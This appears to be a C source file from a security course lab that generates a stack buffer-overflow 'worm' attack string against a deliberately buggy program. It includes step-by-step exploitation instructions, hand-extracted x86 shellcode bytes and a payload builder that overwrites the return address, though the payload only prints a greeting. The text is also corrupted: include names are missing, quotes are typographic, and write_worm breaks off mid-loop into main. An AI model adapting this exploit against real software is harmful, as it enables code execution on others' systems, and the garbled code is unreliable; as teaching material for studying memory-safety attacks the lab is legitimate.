#include
#include
#include
/*
* Instructions for building the worm attack file.
*
* (1) Compile this source file using “gcc -m32 -O2 -fno-stack-protector” and use an object-dump tool (e.g., otool) to extract
* the machine code values (in hex) for “worm_template”, starting with the “leal” instruction
* and ending with the while loop. Intialized “worm” to store this value and set “worm_size”.
*
* (2) Identify the offset from the beginning of the worm where the address of “puts” is stored —
* it will be “eeeeeeee” in the extracted object code. Store this offset value
* in the variable “offset_to_puts_address_in_worm”.
*
* (3) Create a text file that stores the 8-bit, ASCII string “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ”. This
* should be sufficiently large so as to cause the buffer overflow to overwrite the return address,
* have unique vaules in each location, and ensure that the values the get written into the
* return address are an illegal address.
*
* (4) Instrument buggy.c (or use buggy-instrumented.c) to place the address of buf[0] in a global in printPrefix
* and to print this value and the address of puts at the end of the program (after puts has been called at
* least once). Record these values and remove instrumentation. You now have an *estimate* for the address
* of buf, but its likely not perfect due to Heisenburg-principle problems (same is true if you run buggy
* in gdb to get these values).
*
* (5) Enter gdb with buggy using big-string file from step 3 as input. Record the address that causes the
* EXC_BAD_ACCESS exception (KERN_INVALID_ADDRESS).
*
* (6) Recalling that the machine is little endian and referencing the ASCII code, determine the offset return address
* (that caused this exception) from the beginning of buf. This will not suffer Heisenburg effects.
*
* (7) Run make-worm providing these values as input: the address of puts, the estmited address of buf, the buf-offset to
* the return address, and an uncertainty factor regarding your buf-address estmiate (e.g., 4 works for me, but larger
* values are fine). Pipe the output to a file. This is the attack string.
*
* (8) Run buggy providing the attack string as input and hope for a greating from Robert Morris.
*/
// compile with: -m32 -O2 for disassmble of worm()
void worm_template () {
// The buffer overflow will have smashed the base pointer (and thus cur sp) as well as the return address.
// Locate base pointer and stack pointer above worm on the stack so that locals work okay.
asm volatile (“leal -0x10000(%esp), %esp\n”);
asm volatile (“leal -0x10000(%esp), %ebp\n”);
void* puts_address;
char c[25] = {‘H’,’e’,’l’,’l’,’o’,’ ‘,’f’,’r’,’o’,’m’,’ ‘,’R’,’o’,’b’,’e’,’r’,’t’,’ ‘,’M’,’o’,’r’,’r’,’i’,’s’,0 };
// Call puts (c), but using absolute addressing for puts instead of pc-relative.
// Pc-relative will not work for the worm because the pc will be a stack address and that will be
// too far away from the address of puts to encode the pc-offset in the instruction.
asm volatile (“leal %1, %%ecx\n\t” // ecx = address c[]
“movl %%ecx, (%%esp)\n\t” // put address of c[] on stack (arg to puts)
“movl $0xeeeeeeee,%0\n\t” // put address of puts in memory at puts_address
“call *%2\n\t” // call puts
: “=m” (puts_address) : “m” (c[0]), “m” (puts_address) : “%ecx”);
while (1);
}
char worm[10000] = {
0x8d, 0xa4, 0x24, 0x00, 0x00, 0xff, 0xff, 0x8d, 0xac, 0x24, 0x00, 0x00, 0xff, 0xff, 0x8d, 0x45,
0xe3, 0xc6, 0x40, 0x18, 0x00, 0xc7, 0x40, 0x14, 0x72, 0x72, 0x69, 0x73, 0xc7, 0x40, 0x10, 0x74,
0x20, 0x4d, 0x6f, 0xc7, 0x40, 0x0c, 0x6f, 0x62, 0x65, 0x72, 0xc7, 0x40, 0x08, 0x6f, 0x6d, 0x20,
0x52, 0xc7, 0x40, 0x04, 0x6f, 0x20, 0x66, 0x72, 0xc7, 0x00, 0x48, 0x65, 0x6c, 0x6c, 0x8d, 0x4d,
0xe3, 0x89, 0x0c, 0x24, 0xc7, 0x45, 0xfc, 0xee, 0xee, 0xee, 0xee, 0xff, 0x55, 0xfc, 0xeb, 0xfe
};
int worm_size = 80;
int offset_to_puts_address_in_worm = 71;
void write_worm (int puts_address, int buf_address, int offset_to_ra_in_buf, int uncertainty) {
char buf[10000], *c;
int cur, i, alignment_padding, worm_offset, worm_address;
alignment_padding = 4 – (buf_address & 0x3);
buf_address = buf_address – uncertainty;
worm_offset = alignment_padding + uncertainty*2 + (offset_to_ra_in_buf % 4)*4 + 4;
worm_address = buf_address + worm_offset + uncertainty*2;
// write padding to align rest of buf to 4-byte boundary
for (cur=0; cur
int puts_address;
int buf_address;
int offset_to_ra_in_buf;
int uncertainty;
char *a1, *a2, *a3, *a4;
if (argc != 5) {
fprintf (stderr,”%s”,usage);
exit (EXIT_FAILURE);
}
puts_address = strtoll (argv[1], &a1, 0);
buf_address = strtoll (argv[2], &a2, 0);
offset_to_ra_in_buf = strtoll (argv[3], &a3, 0);
uncertainty = strtoll (argv[4], &a4, 0);
if (a1==0 || *a1!=0 || a2==0 | *a2!=0 || a3==0 || *a3!=0 || a4==0 || *a4!=0) {
fprintf (stderr, “%s”, usage);
exit (EXIT_FAILURE);
}
write_worm (puts_address, buf_address, offset_to_ra_in_buf, uncertainty);
}